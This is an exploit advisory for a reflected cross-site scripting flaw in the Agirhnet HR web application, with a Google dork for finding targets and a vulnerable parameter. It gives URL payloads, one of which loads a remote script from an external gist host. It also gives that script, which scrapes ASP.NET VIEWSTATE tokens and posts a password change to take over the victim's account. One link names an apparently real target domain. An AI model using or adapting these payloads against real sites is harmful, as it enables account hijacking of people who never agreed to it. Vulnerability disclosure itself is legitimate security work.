# Exploit Title: [Agirhnet] - Reflected XSS via GET
# Google Dork: inurl:agirhnet
# Date: 2022-02-21
# Exploit Author: Daniel Martinez Adan (aDoN90) member of Holcim EMEA Digital Center
# Vendor Homepage: https://agirh.net/
# Version: [app version] 1.0
# CVSS : 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

URL:
https://example.com/AgirhNet/LoadingProgress.aspx?FORM=/%22%0Aconfirm(document.domain)//

vulnerable Parameter : FORM


Payload: /%22%0Aconfirm(document.domain)//

it is compulsory to put the "/" at the beginning of the payload (it has to
recognize it as a URL)


XSS to Account TakeOver (because, when reset password, it doesn't
require the previous password).


*URL:*

https://XXXXX/AgirhCV/LoadingCVT.aspx?cvF=%00%22%3bvar+head+%3d+document.getElementsByTagName('head').item(0)%3bvar+script+%3d+document.createElement('script')%3bscript.setAttribute('type
<https://xxxxx/AgirhCV/LoadingCVT.aspx?cvF=%00%22%3bvar+head+%3d+document.getElementsByTagName(%27head%27).item(0)%3bvar+script+%3d+document.createElement(%27script%27)%3bscript.setAttribute(%27type>',+'text/javascript')%3bscript.setAttribute('src',+'https://gistcdn.githack.com/adon90/61882cb2b0cd727620cc5ea60c9a227f/raw/bbca634097679fcfb38b69e0d75c6fd824c0fc13/b.js')%3bhead.appendChild(script)%3b%2f%2f227

*Payload:*

%00%22%3bvar+head+%3d+document.getElementsByTagName('head').item(0)%3bvar+script+%3d+document.createElement('script')%3bscript.setAttribute('type',+'text/javascript')%3bscript.setAttribute('src',+'https://gistcdn.githack.com/adon90/61882cb2b0cd727620cc5ea60c9a227f/raw/bbca634097679fcfb38b69e0d75c6fd824c0fc13/b.js')%3bhead.appendChild(script)%3b%2f%2f227

*Script b.js that extracts and renovates VIEWSTATE, VIEWSTATEGENERATOR
and VIEWSTATEENCRYPTED and changes password to the victim.*

--------------------------------------------------------

var x = new XMLHttpRequest();
var r=0;
x.open('GET','https:/XXXXXXX/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx'
<https://recrutement.lhm.ma/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx'>);
x.responseType = "document";
x.send(null);

x.onreadystatechange = function() {
if (x.readyState === 4 && r != 1) {

var a = encodeURIComponent((x.response.getElementById('__VIEWSTATE').value));
var b = (x.response.getElementById('__VIEWSTATEGENERATOR').value);

x.open("POST", 'https://XXXXXXX/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx
<https://recrutement.lhm.ma/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx>',
1);
x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
x.send("__VIEWSTATE="+a+"&__VIEWSTATEGENERATOR="+b+"&__VIEWSTATEENCRYPTED=&ctl00%24BodyPlaceHolder%24dfLAST_Pwd=whatever&ctl00%24BodyPlaceHolder%24dfUserKey=2&ctl00%24BodyPlaceHolder%24dfConfirmPWD=2&ctl00%24BodyPlaceHolder%24pbSETpwd=Appliquer");

} else {

}
}